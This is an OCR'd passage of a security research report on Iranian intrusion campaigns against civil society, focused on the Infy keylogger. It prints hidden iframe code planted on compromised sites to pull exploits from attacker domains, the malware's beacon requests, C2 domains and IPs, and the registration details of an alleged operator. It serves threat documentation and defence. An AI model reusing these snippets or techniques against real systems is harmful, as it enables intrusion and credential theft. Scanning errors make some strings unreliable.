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Summary

Over the past decade, the Islamic Republic of Iran has been targeted by continual intrusion campaigns
from foreign actors that sought access to the country's nuclear facilities, economic infrastructure, military
apparatus, and governmental institutions for the purpose of espionage and coercive diplomacy.
Concomitantly, since the propagandic defacements of international communications platforms and
political dissident sites conducted by an organization describing itself as the "Iranian Cyber Army"
beginning in late 2009, Iranian actors have been attributed in campaigns of intrusions and disruptions of
private companies, foreign government entities, domestic opposition, regional adversaries and
international critics. While Iran maintains strong technical universities* and an extraordinarily active
defacement community,’ the country has not invested in its capacity for Internet-based espionage to the
same degree as its traditional geopolitical rivals, and is less able to seek capabilities abroad from

! Contact: Claudio (nex@nex.sx, PGP: 7359 D880) and Collin (cda@asc.upenn.edu, PGP: FAFB F2FA)

2 Sharif University of Technology for example is an internationally recognized engineering school.
https://www.timeshighereducation.com/world-university-rankings/sharif-university-of-technology

3 Ashiyane Digital Security Team and other defacement groups have commonly held positions in the leaderboard of
Zone-H and are attributed with thousands of defacements. http://www.zone-h.org/stats/notifierspecial
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companies such as Hacking Team or Finfisher due to its pariah status. As a result, the computer network
operations attributed to Iranian actors provide insight into the behavior of a country under scrutiny due to
its conflictual relationships with regional adversaries, and may reflect the general trajectory of other
countries seeking to use the espionage on modern communications technologies to pursue their own
geopolitical interests.

Civil society and political opponents are a primary target of Iranian intrusion campaigns, which gives rise
to the motivation and basis for our research into the ecosystems and threats originating from the country.
This document serves an initial technical overview in complement to a forthcoming publication from the
Carnegie Endowment for International Peace on Iran-based computer network operations, and is intended
to provide the following:

first accounting of a new threat actor targeting interests aligned with the Iranian state;
additional research on the activities of the Infy group, which supports and extends accounts of the
group's activities recently disclosed elsewhere;

e documentation of new developments in the malware and activities believed to be connected to
known threat actors Rocket Kitten and Operation Cleaver; and,

e descriptions of tactics by known actors in response to political events inside of Iran and changes
the use of personal communications tools by the public, namely the mass adoption of Telegram.

Our research incurs classic issues applicable to all reports on intrusion campaigns, primarily questions of
attribution and intent. The end objective of particular CNO activities is not always discernable based on
the tactics used or the data accessed, as the end implications of the disclosure of particular information is
often distant and concealed from even the target. Where such intent is made evident, the reasons for
Iranian intrusion campaigns range from retaliatory campaigns against adversaries, as a result of
identifiable grievances, to surveillance of domestic opposition in support of the Islamic Republic
establishment. Iranian intrusion sets appear to be interested in a broad field of challenges to the political
and religious hegemony of the Islamic Republic. Previous reports on Iranian campaigns have referred to
the targeting of Iranian dissidents, however, in practice those targeted range from reformists operating
within the establishment from inside of Iran to violent extremist organizations outside. Therefore, Iranian
CNO activities should be considered as a tool in the context broader state activities and policies, including
offline events.

For the purpose of organization, this document is divided based on the actor group that we believe to be
responsible for the tools, incidents, and activities under discussion. We also attempt to blend the context
and history of incidents with the technical specificities in each section, broken out into different
subsections. In order to avoid further expansion of this document, we momentarily defer to previous
reports for context about groups, with the intention of extending this background narrative later. In
practice, the distinction relied upon is artificial, as the boundaries between groups at times appears less
clear, and tactics have evolved rapidly in response to external pressure. For example, in past reports that
have identified Iranian malware such as Madi, Stealer, and Sayyad, these families of agents appear to fall
into disuse within a short period of their discovery and public attribution to Iranian entities. Such
discontinuity, and the opacity even within activities published on, has further reinforced the difficulty in
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constructing a cogent narrative of specific threat groups. This aspect of the ecosystem is not in scope here,
and we focus instead on technical documentation, and will revisit the context in our forthcoming research.

Finally, this document is intended to be the first release in a set of continuing disclosures, and should be
considered a living resource; subject to revision, reconsideration and provided with the promise of
expansion.

Research: https://iranthreats.github.io

Introduction

Over the course of three years of observation of campaigns targeting civil society and human rights
organizations, from records of well over two hundred spearphishing and other intrusion attempts against
individuals inside of Iran and in the diaspora, a narrative of persistent intrusion efforts emerges. From
Madi onward, Iranian threat actors maintain a consistent set of interests and activities that blur the lines
between domestic surveillance and foreign commercial espionage. This pattern continues across
subsequent groups. Infy engaged in malware spearphishing against the same targets as Flying Kitten from
the outset of its campaign; Operation Cleaver has registered several resources related to development
agencies that have been the subject of intrusion attempts by others since February 2014. This
documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat
actors, Rocket Kitten, Infy, Sima, and Operation Cleaver, including groups and tools that have not been
previously disclosed.

Attribution of different Iranian intrusion efforts has been made possible through the reuse of common
templates and infrastructure over long periods of time, coupled with failures in operational security that
exposed information on the actors behind the campaigns. These approaches are imperfect, as the
participants often attempt to break patterns after publicity has called attention to their activities and
provided critical external feedback on their strategies. No collected documentation demonstrates the
process of selecting targets or coordinating campaigns, however, many of those targeted would be later
singled out by other actors, and their targeting aligns with Iran’s political environment. The intrusion sets
documented have clear indications of being solely Iranians inside of Iran, with little indication of
participation from Iranians in the diaspora or support from non-Iranians. At the most basic level, the
groups of actors follow similar patterns of life approximating that of an Iranian workday (Saturday
through Wednesday) and are fully dormant on Iranian holidays, particularly the long vacation period of
Nowruz.

Based on our longitudinal account of infrastructure employed in intrusion attempts against civil society,
we find that the activities of Iranian actors date back further than previously documented and cover a
richer set of targets. Iranian threat actors have responded to improved information security practices
amongst its target populations and increased pressure resulting from publication of their activities. The
Sima and Operation Cleaver groups represent the most sophisticated spearphishing campaigns observed
from Iran thus far, using open mail relays to send professionally-tailored messages based on monitoring
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of target interests and emotional manipulation, such as stark threats of immigration issues as the
Department of Homeland Security. While such campaigns may not represent Iran’s graduation to a first or
second tier power, these incidents impact livelihoods, and their documentation provides tactics of public
accountability. The study of these properties and the similarities between actors lends an insight into the
capabilities and interests of [ranian intrusion sets, and their foreshadows future activities.

Campaigns and Actors*

Infy

Introduction

Since early 2013, we have observed activity from a unique threat actor group, which we began to
investigate based on increased activities against human right activists in the beginning of 2015.” In line
with other research on the campaign, released prior to publication of this document, we have adopted the
name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents.

Thanks to information we have been able to collect during the course of our research, such as
characteristics of the group’s malware and development cycle, our research strongly supports the claim
that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop
of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks
against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary
election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and
new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from
recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy
malware.

* NB: Historically, naming schemas on Iranian actors have been challenging, even when researchers are acquainted
with the cultural, linguistic and political context of the country. For example, while Madi was linked with the Shi’a
belief in the Twelfth Imam, Mahdi is also a common name, which arises elsewhere in several samples alongside
other Persian names or words (“Motahare.txt”). Similarly, while “Gholee” was linked to a minor musician in one
report, the reference could have as easily been a code comment in Persian relevant to its functionalities (from
transliterated Persian, “peak’). Where we find names embedded in samples from project resources, they are often
less than inspiring, such as “ExtremeDownloader” or “Stealer.” The approach of using unique strings still seems
more preferable than generic references to Iran, so where possible, our naming convention relies on unique
identifiers that originate from malware agents and infrastructure that are sufficiently distinctive, while attempting to
avoid sensationalism or stereotypes.

5 After the drafting of this paper was completed, California-based security vendor Palo Alto Networks published
two blog posts that includes information on this same campaign. Similarly, the Helios Team at 360 SkyEye Labs has
documented some of the activities of Infy under Operation Mermaid. While these reports often have commonalities
and overlaps, they all offer differing and complementary perspectives into the campaign.
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-atta
cks/

http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://ti.360.com/upload/report/file/mryxdgkb20160707en.pdf
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Palo Alto Networks has noted and described the differences of two malware agents developed in parallel,
with commonalities in behavior but differing functionalities; families described as Infy and Infy M. Our
primary observation was of the Infy (non-M) malware, which primarily functions as a keylogger for the
collection of account credentials. Until the publication of the Palo Alto report, the developers of the Infy
appeared to be actively updating and maintaining the codebase, and new releases were distributed to
existing, as well as new, targets quite regularly. At the time of writing, the latest Infy keylogger was
version 00031, which appears to have been interrupted by public disclosure before it reached wide
deployment, with our first collected samples appearing in May 2013. Other samples were found bearing a
compilation time as early as June 2012 and version 00002. Similar to the increase prior parliamentary
election, these first samples appeared coinciding with Iran’s Presidential election — then a critical moment
due to being the first Presidential election since the highly-contested Green Movement.

Our analysis indicates that the Infy malware agents have been employed for compromising targets
pertinent to the internal security interests of the Iranian government since at least July 2010. Infy is
evidently an intrusion operation that has been running for several years, even continuing on in some form
since the publication of the activities, with new agents found from late June 2016.

History and Tactics

Prior to the June 2013 Presidential election, staff members of BBC Persian and other Persian-language
satellite television networks received a series of files purporting to be statements from political opposition
groups inside of the country. One message® claimed to be from Mohammad Taghi Karroubi, the son of
reformist politician Mehdi Karroubi who ran for presidency in the 2009 elections and has been under
house arrest since February 2011 (25 Bahman). The document discusses the disqualification of former
President Hashemi Rafsanjani from the elections, the role of the Guardian Council in the vetting of
candidates, and whether reformists should vote. The original source of this document is unclear. The text
also does not appear to have been publicly-available, and may have been falsely attributed to Mohammad
Taghi.

As the election neared, successive documents with the filenames of “Statement”’ and “Alliance™® in
Persian were sent from the same Gmail address to a widening set of media figures outside of Iran,” such
as Nima Akbarpour'® and Nikahang Kowsar'', and social network users supporting reformist figures.'?

¢ entekhabat.rar - fe57d408252af3c0fe776b34e838ac98

7 bayaniehcod.rar - dd0332049dc3fad6b81b3b2e036af718

8 etelaf.rar - 55¢b9a6e01e8b5e28633020e95a0a8¢e4

® https://www.facebook.com/Admin.ComNews/posts/101514684518662742fref=nf
19 https://plus.google.com/%2BNimaAkbarpour/posts/SMP1VYTaA M

1 https://www.facebook.com/nikowsar/posts/261690493970257

12 https://plus.google.com/+HamedMousavi/posts/Xe37MyYBePm
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Mikahang Kowsar
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While the defacements and mass phishing events, conducted by other groups in parallel to the malware
emails, waned after the elections, the intrusion attempts from the Infy malware group did not. The culprits
behind the campaign expanded tactics, sending malware embedded in PowerPoint presentations topical to
events in Iran, such as “Iran’s Nuclear Power!”", and impersonating others to leverage social trust. Over
the months following the elections, the accounts of Iranians that had been compromised by the actors
were then used for spreading the malware. The personal email of an employee of VOA’s Persian News
Network was used to send the Infy malware to other journalists, attached as files named “Visual”
(didani.pps) and “Invitation Card.”'* Shortly after, in August 2013, a typographic email address claiming
to be a reformist activist and journalist was used to approach a Persian-language broadcaster and a Green
Movement supporter, with malware samples embedded in content related to poverty. Similarly, a
imposture account posing as an Iranian professor of political science and media commentator was used to
approach a BBC Persian presenter and others in the following year.

Our observation of Infy’s campaigns, primarily through the lens of spearphishing attacks against Iranian
civil society and media organizations, indicates a wandering focus on particular demographics on a
strategic basis over time. When activities targeting of civil society subsided, the actors instead appeared to
have focused on external targets, such a series of attempts to spearphish the Danish Ministry of Foreign
Affairs."” The Infy malware was seen targeting Iranians again in June 2015, when it was shared with
researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a
PowerPoint presentation attached titled “Nostalogy”'® (sic).

Based on samples and observations of spearphishing attempts, it appears that during this time there was
an evolution in Infy’s infrastructure and tactics, connected with renewed attempts at surveillance of
diaspora organizations. Based on information collected in the course of this research, the targets and
victims of Infy’s campaigns have continued to be strongly aligned with Iran’s “soft war” agenda, internal
security policies, and regional adversaries of the hardline establishment of the Islamic Republic of Iran.
The trends align with campaigns concurrently conducted by other known Iranian intrusion sets, even to
the extent of overlapping intrusion attempts and shared successful compromises of targets.

" nuclear_power.pps - 463205b5ddd3437f1af559¢ad6a750e3

4 & e &S pps - 2eb7¢2d886ae970e477307f1433133¢

'3 Rapport om APT-angreb mod Udenrigsministeriet, Center for Cybersikkerhed.
https://fe-ddis.dk/cfes/CFCSDocuments/Phishing%20uden%20fangst.pdf

' nostalogy.pps - 501e2bdc7d77dal5ae2b48eb5c49bc1d
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Until late December 2015, in nearly every Infy message documented since our tracking began in May
2013, no attempt included strong tailoring of the approach, often not even including an email body,
instead relying on cryptic filenames and email subjects to attract interest. That December marked a
meaningful departure from this pattern, as the culprits began to add more descriptive information to their
attempts, addressing topical issues and catering to the interests of the target. As in the past, these
messages have been sent accounts believed to be fake and accounts compromised by Infy, including
Kurdish activists that had previously been compromised by the Flying Kitten actor group.'’

The targets and timing of this shift aligns with increased attention to the political environment in the lead
up to the February 2016 Parliamentary Election. One narrowly-targeted spearphishing from Infy was sent
from the compromised account of a political activist promoting participation inside of Iran, claiming to be
a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on
espionage charges.'® These message have also encouraged their targets to share the documents to other
human rights organizations and media outlets, in the hopes of further increasing their potential reach.
These improved pretexting tactics are well connected to the press cycle. Within days of the mass
disqualification of reformist parliamentary candidates by the Guardian Council, one message claimed to
cover opposition protests; another, purported to contain Hassan Khomeini’s reaction to the rejection of his
religious credentials in his attempted candidacy for the Assembly of Experts.

Re: FREE KAMAL FOROUGHI Re: FREE KAMAL FOROUGHI
Hello, Al
Here's the campaign of Free Kamal Foroughi. S ) & 58 s S
Images of political prisoner Kamal Foroughi at Ordl 3209 A o g h JleS b a1y sl
Ward 209 of Evin Prison. ol Ciga
For publication.

Watering Hole

Contact information and infrastructure used in the operations of the Infy group implicate a broader set of
domains than those directly used in command and control operations with the agent. These domains
commonly reflect a naming schema related to blogging and visitor analytics (e.g. “bestwebstat.com™).
Based on live and archived examples of such tactics, a subset of the Infy group’s domains appear to have
been used in order to stage watering hole attacks against ethnic minority populations and militant
organizations over the course of at least five years.

Our earliest observed watering hole incident, occurring in July 2010, involved intrusions into the “Taftaan
News Agency” and “Jonbesh-e Moqgavemat-e Mardomi-e Iran” blogs, sites associated with the
Balochistan-based Jundallah — a militant movement internationally recognized as a terrorist organization.
1 Shortly after the suspected time of intrusion, at least one target had warned its visitors that an old email

17 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf
18 http://freekamalforoughi.com

19 https://web.archive.org/web/20110830125243/http://taptan313.blogspot.com/
https://web.archive.org/web/20100819184243/http://www.junbish.blogspot.com/
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address connected to the site had been compromised by actors it claimed was associated with Iranian
intelligence agencies and then used to target others in the community. The following day, the
administrators noted technical issues as a result of these attacks in a post announcing the closure of the
site.”” The actors behind the incidents gained access to pertinent sites, and embedded a hidden iframe in
the target page claiming to be a “Stat Counter” in order to disguise the intention of the malicious code.
The malicious iframe appears to have used well-known ActiveX vulnerabilities for IE6 and IE7 (which
would have still been used in 2010) in order to push an early version of one of the Infy agents to visitors.
In addition to common infrastructure and recognizable binary names related to other Infy attacks, the
delivering mechanism included Persian-language comments on the functioning of the code within its
otherwise packed Javascript.”!

The use of watering hole tactics continued until at least the middle of May 2015,?* when a Kurdish news
site (Kurdistannet) was similarly compromised for the purpose of delivering the Infy M agent. The
intrusion into the Kurdish site aligns with the organization’s documented history of targeting Kurdish
activists, particularly those based in Iran or of Iranian nationality.

Kurdish Site (2015) Jondallah Militant Organizations (2010)
<div style="display:none" name="Stat Counter"> = <iframe frameborder='0" height='0" id="1F198&'
<iframe name="statModules" width="0" marginheight='0' marginwidth="1' name="1F198'
height="0" marginwidth="0" marginheight="0" scrolling="no'
scrolling="no" border="0" frameborder="0" src="http://www.bestwebstat.com/e/nt/ifr2.php'
src="http://wpstat.mine.bz/e1/statl.php"></iframe = width="0"></iframe>
>
</div>

Victimology

While not indicative of the full extent of other intrusion operations the Infy group might be running, as of
March 31, 2016, we observed a total of 236 unique victims distributed across 27 countries from solely
versions 25 through 30 of the Infy (non-M) agent. For how this telemetry was collected, see A Not So
Clever Failover Strategy. Interestingly, the number and the nature of victims have reflected political
events and the evolving geopolitical interests of Iran. For example, we observed new compromises
located in Saudi Arabia in the fallout between the countries after the execution of a Shiite cleric and the
Mina Hajj stampede.”

20 http://taptan313.blogspot.com/2010/07/blog-post_9301.html

http://taptan3 13.blogspot.com/2010/07/blog-post 27.html

2! In translated Persian “jelogiri az ejraie dobare dar sorate moshahede mojadad”
Zhttps://web.archive.org/web/20150522072531/http://www.kurdistannet.org/2015/index.php — Also noted by the
Helios team.

2 http://www.nytimes.com/2016/01/04/world/middleeast/iran-saudi-arabia-execution-sheikh-nimr.html
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Infy (v. 25 - 31) Infections, December 2015 - May 2016

The primary targets of these campaigns have consistently been Iranians inside of Iran, with 48% of
identified intrusions connected with IP addresses located in Iran, in addition to a strong interest in Iranians
in the diaspora, as indicated by the messages in bait files and hostnames we were able to observe. The
attackers maintained a secondary interest in espionage against regional adversaries and neighboring states.
This characteristic matches previously documented CNO campaigns. As with Flying Kitten and Rocket
Kitten, the resources and personnel leveraged in Infy campaigns against domestic opponents overlap with
espionage against perceived external threats. Moreover, the locations and discernable nature of the
compromised hosts align with known policy objectives of the Islamic Republic. It is worth noting that in
order to establish a more accurate count, we had to deduplicate records from victims appearing to connect
from multiple countries. Unsurprisingly, many victims located in Iran had been using VPN services,
leading to connections from a changing set of countries that their circumvention tool had tunneled traffic
through. Efforts were made to exclude circumvention tool IPs, and determine the clients that were
originally based in Iran despite their tunneled traffic.
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Infy (v. 25 - 31) Infections, December 2015 - May 2016

While the near majority of the victims are located in Iran, the remaining hosts are widely distributed
around the world, with a higher concentration in the United States, Sweden, Germany and Iraq — locations
with large Iranian diasporas or regional interests. Several compromised systems maintain a clear
relationship to regional adversaries and foreign entities that Iran maintains an espionage interest in. At
least two hosts based in Israel have been compromised to date, although in one case these systems appear
to have been associated with a person of Arabic or Persian descent. The Infy group also appears to engage
in espionage activities against foreign governments and businesses. The actors successfully compromised
a host of an Saudi government institutions on January 17, 2016, and maintained access for at least two
weeks. Similarly, a computer in Riyadh located on a network registered to the National Engineering
Services and Marketing Company was compromised. Multiple systems in Pakistan and Afghanistan have
been breached, including several on Afghan government networks.

Infy Tools & Techniques

In order to initially compromise the designated targets, the attackers typically distributed
specifically-crafted malicious documents containing Infy through spearphishing attacks. The attackers in
most cases took existing PowerPoint presentations, or crafted new ones, and inserted some PE32 dropper
as a Packager Shell Object inside the title slide. Interestingly, several of these documents expose the
original file path in the attacker’s computer, showing the account name of the user who crafted the
attacks:

10
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x —
IC:\Users\YAHOSh""I “AppData'Local\ Temp\power point exe
Filename: Label

IC:\Users\baran\pr Data“Local\Temp‘done exe

Ipower poirt .exe
Label

Idone.exe

0K I Cancel

With the executable embedded in the presentation, by assigning an “On Previous” custom “Object

Action” animation, it is automatically extracted to % Temp% and executed in the moment the presentation
is launched.
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[ ] (o]
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Normally, the victim would have to click “Ok” to a security warning dialog, before the dropper can
proceed with its execution. Ironically, the patches introduced by Microsoft to fix the Sandworm
vulnerabilities, have changed the security dialogs to messages that are a lot less alarming. As showed in
the previous picture, the attackers also tend to create multiple Packager Shell Objects, eventually

11
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triggered by different events, probably to increase the chance that the victims would concede into running
the payload.

Before patch MS14-060 After patch MS14-060

= o P =
Open Package Contents 5o

The publisher could not be verified. Are you sure you want to
The package you are about to open will run a program contained run this software?
. in the package. That program could do anything! It may harm N o
your computer! s i
Publisher: Unknown Publisher
Unless you are absolutely certain about the nature, source, and .
contents of this package, please press the Cancel button. Type: Application

Run | Cancel I

This file does not have a valid digital signature that verfies its
publisher. You should only nun software from publishers you trust.
How can | decide what software to un?

In more recent iterations of these malicious documents, the attackers started protecting them with a
password, so that they can only be open in read-only mode, making their inspection slightly harder.

The main malware artifact that we observed employed by this group is a very simple keylogger developed
in Delphi. It is compiled in the form of a Windows DLL file that is installed by an initial dropper inside
the AC:\ProgramData\Adobe\o folder (or “C:\Documents and Settings\All Users\Application
Data\Adobe\” folder in older versions of Windows), named “airplugin.vX.X.X.dll”, and registered in the
Windows registry to be executed at startup through rundll32.exe and with the arguments “startX /exc”
(where X is a digit like 1, 2 or 3, depending on the version of the malware). Before installing it
permanently, the file is also temporarily stored with the filename pattern “mpro.X.X.X.dllo.

One of the latest versions employed at the time of writing, marked as 00030, saw a change in the naming
scheme of the files, as well as of the functions exported by the DLL. For example, the latest sample® we
obtained and utilized on mid-April 2016, is installed in the folder “C:\ProgramData\CyberLink\” with
name “CLMediaLibraryX.X.X.dll” and it is executed with the arguments “mainf /rcv”.

The Infy malware is very limited in functionality and seems to have been primarily designed to record
keystrokes, that are then stored in a ROT-obfuscated .dat file and later uploaded to the primary command
and control server. While most Windows keyloggers either intercept keystrokes at kernel level or by using
either the GetAsyncKeyState or SetWindowsHooKEx win32 APIs, Infy instead uses RegisterHotKey to
install global hotkeys on all available keys. While this is a known technique, it is relatively uncommon,
due to the simplicity of the alternatives previously mentioned.

# Omid Kobabi.pps - 0b7272dd9¢f1968dea97{191154274b8
12
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Probably in order to prioritize later inspection by the attackers, the log file highlights keystrokes that have
been recorded from known browser windows (Internet Explorer, Firefox, Chrome, and Opera). It is
plausible that the main intent of the attackers is to steal credentials for email and social media accounts, as
was seen amongst other Iranian actors, such as Flying Kitten.

For example:

00000250 65 64 21 53 74 61 74 65 73 2a bc Oe Ob Oe Ob 66 |ed! States*..... f
00000260 69 72 65 66 6f 78 2f 65 78 65 3d 2b 2b 2b 49 6e |irefox/exe=+++In|
00000270 42 72 6f 77 73 65 72 5c 5e 21 50 72 6f 62 6¢c 65 | Browser\”! Probl e|
00000280 6d 21 6¢c 6f 61 64 69 6e 67 21 70 61 67 65 21 2e | nl | oadi ng! page! . |
00000290 21 4d 6f 7b 69 6¢c 6Cc 61 21 46 69 72 65 66 6f 78 |!Md{illal Firefox|
000002a0 3f bc bc 21 65 73 74 3d 32 34 3f Oe Ob Oe Ob 66 | ?..!est=247....1]
000002b0 69 72 65 66 6f 78 2f 65 78 65 3d 2b 2b 2b 49 6e |irefox/ exe=+++In|
000002c0 42 72 6f 77 73 65 72 5¢c 68 74 74 70 3b 30 30 77 | Browser\ htt p; 00w
000002d0 77 77 2f 67 6f 6f 67 6¢c 65 2f 63 6f 6d 30 6e 63 | ww googl e/ condnc|
000002e0 72 5e 21 4d 6f 7b 69 6¢c 6¢ 61 21 46 69 72 65 66 |r~! M{illalFiref]|

Additionally, the Infy malware initiates a separate Timer and it periodically invokes the
GetClipboardData API to copy and store the content in the same .dat log file. For example:

00000370 Oe Ob ac 4e 65 77 21 43 6¢c 69 70 62 6f 61 72 64 |...New!Clipboard|
00000380 bc 0Oe Ob Oe Ob Oe Ob Oe Ob 65 78 70 6¢c 6f 72 65 |......... expl ore|
00000390 72 2f 65 78 65 3d 41 63 72 6f 62 61 74 3f bc bc |r/exe=Acrobat?..|

This additional interception might have been employed to circumvent the use of password management
software, a common component of digital security trainings, that allow the users to avoid remembering
and manually typing the passwords for logging into all the different online services they commonly
access.

Network Infrastructure and Communications

The Infy malware is designed to regularly beacon back to an HTTP server controlled by the operators. At
first, it performs an initial check in with the command and control to register and eventually fetch updates.
The URLSs and the arguments used by the malware have occasionally changed, but at the time of the
broader infrastructure takedown this function looked like the following:

GET /gl p/ ugl p. php?cn=[ COWPUTER NAME] &dn=1&ver =[ VERSI ON

NUMBER] &l f ol der =f 1&cpui d=[ CPUI D] &rachi negui d=[ MACHI NE GJI D] &t t =[ TI MESTAMP]
HTTP/ 1.1

User-Agent: Mzilla/4.0 (conpatible; MSIE 8.0; Wn32)

Host: updat ebox4. com

Cache- Control : no-cache

13
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The response from the server would appear as a page not found error:

HTTP/ 1.1 404 Not Found

Date: Fri, 01 Jan 2016 12:59:59 GVIr
Server: Apache

X- Power ed- By: PHP/ 5. 3. 23

Connection: close

Tr ansf er - Encodi ng: chunked

Content - Type: text/htm

144

<! DOCTYPE HTML PUBLIC "-//I ETF//DTD HTM. 2.0//EN'>

<ht m ><head>

<title>404 Not Found</title>

</ head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>
<p>Addi tionally, a 404 Not Found

error was encountered while trying to use an ErrorDocunent to handl e the
request. </ p>

</ body></htmi >

0

After the first beacon, and at a certain interval, the versions of Inty malware observed would then make a
POST request to the URL “/ gl p/ r gl p. phpo containing information on the system, a timestamp, and an
encoded and obfuscated copy of the log file generated by the keylogger. Interestingly, the server would
respond with an “OK” followed by a common PHP error caused by mishandling the generation of the
response, which exposes the actual file path of the script and indicates an intent attempt to modify
headers.

HTTP/ 1.1 200 K

Date: Fri, 01 Jan 2016 13:00: 02 GVIr
Server: Apache

X- Power ed- By: PHP/ 5. 3. 23
Content-Length: 2

Connection: close

Content - Type: text/htm

K<br />

<b>War ni ng</ b>: Cannot nodify header informati on - headers al ready sent by
(output started at /hone/updatese/public_htm/ro/ro.php:146) in

<b>/ hone/ updat ese/ public_htm /ro/ ro. php</b> on |ine <b>147</b><br />

Under the last observed versions of the Infy agent, the C&C domain was updatebox4.com.”> As noted by
the Danish Defense Intelligence Service’s Center for Cybersecurity and Palo Alto’s research into previous

2 P addresses 192.69.200.143 (First: 2014-06-06, Last: 2016-04-07), 138.201.47.153 (2016-04-06, 2016-04-14).
14




Iran and the Soft War for Internet Dominance Guarnieri & Anderson

Infy and Infy M variants, the domains used for communications changed across different versions,
potentially as a result of their blacklisting and detection by antivirus products (reasons for this hypothesis
are noted in Participants section). Older infrastructure resources did continue to be maintained in order
service agents from past versions, and Palo Alto notes in its sinkhole data that a non-trivial number of
clients were infected by extremely old agents. For example, the DNS records were all been reconfigured
simultaneously in April 2016 when Infy attempted to change providers.

The following are other domains we observed used as command and control in the past.

bestupdateserver.com

IP First Seen Last Seen
192.69.208.203 2013-04-13 2016-03-30
192.69.208.202 2013-04-13 2013-04-13
138.201.47.153 2016-04-08 2016-04-14
updateserverl.com
1P First Seen Last Seen
192.69.200.143 2013-05-23 2016-03-25
138.201.47.153 2016-04-08 2016-04-11
updateserver3.com
1P First Seen Last Seen
192.69.200.143 2014-06-06 2016-04-07
138.201.47.153 2016-04-06 2016-04-14

A Not So Clever Failover Strategy

The authors of the Infy keylogger included a failover command and control communication system. By
using a Domain-Generation-Algorithm (DGA), the malware is instructed to contact a different domain
every day in the form of box40XX.net, where XX is a digit that appears to increment every day and resets
on a monthly basis. While normally DGAs are triggered only in the case that the primary command and
control server isn't responding (because it has been seized, or otherwise disabled), in this case the
malware attempts to systematically contact the daily domain every time a set timer hits, regardless of the

15
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availability of the main C&C. We noticed on first discovery of this DGA mechanism that only in one case
had a failover domain has been registered by the operators (box4054.net), while all the remaining ones
had been left unregistered.

We also noticed that the primary command and control server is able to instruct the agents to download
and execute any binary file. In order to do so, the command and control server would simply reply to the
first check-in request with an HTTP 302 redirect to a URL pointing to a Windows executable. This is
normally used by the primary C&C to distribute updates of the malware, when new versions have been
developed and tested. We attempted to reproduce this procedure and discovered that we were able to
trigger the malware to pull and execute any binary file we wanted also when contacting one of the DGA
domains. Clearly, if noticed by other malicious actors, this flaw in the design of Infy's command and
control system could be abused to deploy additional malware, since no verification or authentication of
the downloaded binary is performed.

In order to collect more accurate information on the nature of the targets of the Infy campaign, notify
victims and prevent abuse of this security failure, beginning at the end of December 2015 we registered
all the domains that were left available and recorded the requests coming in from this failover mechanism.
When the Infy group began notice that its domains and hosts were being taken down, it sought to register
additional DGA domains and were able to control two more names (box4070.net and box4071.net). The
remainder are under our control and being sinkholed to prevent abuse.

Participants to Infy

Across at least six years of operation, at least three within the scope of the currently documented
campaign, the entities behind Infy have recurrently used the same identifiers in their registrations and
communications, which indicate an Iranian origin and could be personally-identifiable information.

While multiple sets of domains have been used in the command and control infrastructure for both Infy
agents, these domains were typical originally registered under email addresses associated to the name
‘Amin Jalali,” with the addresses aminjalali_58@yahoo.com, aj58mail-box@yahoo.com,*® and
am54ja@yahoo.com.”” The contact information on these domains have been updated in recent months
with false identities attributed to Poland and India to masque the original registrant, however, the
ownership and contact email remains the same.

Registration Information for bestwebstat.com

Registrant Name:amin jalali

Registrant Organization:safehostonline
Registrant Streetl:afriqa street number 68
Registrant City:tehran

%6 Possibly not a valid address with Yahoo!'s username schema.
%" These dates are assumably Persian calendar dates and suggest Jalali is in his mid-thirties at the time of this
publication.

16
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Registrant State:Tehran

Registrant Postal Code:19699

Registrant Country:IR

Registrant Phone:+98.935354252

Registrant Fax:

Registrant Email:aminjalali_58@yahoo.com

The aliases associated with Amin Jalali appear elsewhere outside of registrations. A user ‘aj58” posted™
in late July 2015 on the user forums of Sophos claiming that the detection of the domains
‘bestupdateserver.com’ and ‘updateserverl.com’ as malicious was mistaken, and that there was no
malware hosted on these sites. Both domains were frequently used as command and control for their
malware campaigns in the first half of 2015, and the categorization of the domains as malicious was
correct. While McAfee appears to have changed the categorization in its TrustedSource database, the user
apparently was unable to clear the domains from a sufficient number of antivirus products, and registered
the second group of domains a few weeks later.

My sites, False positive

aj58
Posted: 25 Jul 201510:53 PM 6 Comments English

Hello
| made Contact with sophos (https://secure2.sophos.com/en-us/threat-center/reassessment-requestaspx) to report false positive,
but after many days | have not recive any response.

my reauest was......

your product detect two of my site as malware.

your latest updated trial version does not detect any file in my sites as malware.
also there is not any binary, program, apk or any dangerous file in my sites.
please remove my sites from your black list as soon as possible

thanks

fffff My sites
http://updateserverl.com
http://bestupdateserver.com/

A similar email address (without the underscore) commented on an article? posted on Iranian Army News
site about the death of Jihad Mughniyeh, the son of Hezbollah commander Imad Mughniyeh, who was
killed in Syria in an operation believed to have been conducted by Israel, mourning his death and
proclaiming him a martyr.

28 https://community.sophos.com/products/unified-threat-management/f/55/t/46992

29

http://arjanews.it/%D8%AC%D9%87%D8%A7%D8%AF-%D9%85%D8%B A %D9%86%DB%8C%D9%87-%D8
%AT7%D8%B2-%DA%86%D9%87-%D8%B2%D9%85%D8%A7%D9%86-%D8%AA%D8%ADY%D8%AA-%D9
%86%D8%B8%D8%A7%D8%B1%D8%AA-%D8%B3%D8%B1%D8%AF%D8%A7%D8%B1-%D8%B3/
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“In memory of him, rest in peace. Lucky him to become a martyr. ”

Finally, the sinkhole logs on the DGA failover mechanism provides some indication as to the
development cycle and actors behind the Infy malware. Prior to the distribution of new versions of the
agent, the Infy developers appear to consistently conduct tests from local hosts, which indicates that the
control and maintenance of the software occurs in the Khorasan Razavi province of Iran, potentially in the
city of Mashhad. These testing periods appear as episodes where a few hosts from a previously unseen
version of the client register on the backup infrastructure, and are the only live copies of that version for a
